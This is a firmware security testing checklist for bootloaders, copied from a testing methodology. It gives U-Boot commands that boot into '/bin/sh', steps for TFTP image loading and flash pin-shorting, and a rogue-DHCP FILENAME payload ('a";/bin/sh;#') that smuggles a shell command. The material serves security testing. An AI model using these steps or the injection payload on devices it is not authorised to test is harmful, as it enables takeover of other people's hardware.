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Bootloader testing

Copied from https://scriptingxss.gitbook.io/firmware-security-testing-methodology/

When modifying device start up and bootloaders such as U-boot, attempt the following:

Attempt to access the bootloaders interpreter shell by pressing "0", space or other identified “magic codes” during boot.
Modify configurations to execute a shell command such as adding 'init=/bin/sh' at the end of boot arguments
- #printenv
- #setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3
- mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 int=/bin/sh
- #saveenv
- #boot
Setup a tftp server to load images over the network locally from your workstation. Ensure the device has network access.
- #setenv ipaddr 192.168.2.2 #local IP of the device
- #setenv serverip 192.168.2.1 #tftp server IP
- #saveenv
- #reset
- #ping 192.168.2.1 #check if network access is available
- #tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP server
Use ubootwrite.py to write the uboot-image and push a modified firmware to gain root
Check for enabled debug features such as:
- verbose logging
- loading arbitrary kernels
- booting from untrusted sources
*Use caution: Connect one pin to ground, watch device boot up sequence, before the kernel decompresses, short/connect the grounded pin to a data pin (DO) on an SPI flash chip
*Use caution: Connect one pin to ground, watch device boot up sequence, before the kernel decompresses, short/connect the grounded pin to pins 8 and 9 of the NAND flash chip at the moment U-boot decompresses the UBI image
- *Review the NAND flash chip’s datasheet prior to shorting pins
Configure a rogue DHCP server with malicious parameters as input for a device to ingest during a PXE boot
- Use Metasploit’s (MSF) DHCP auxiliary server and modify the ‘FILENAME’ parameter with command injection commands such as ‘a";/bin/sh;#’ to test input validation for device startup procedures.

*Hardware security testing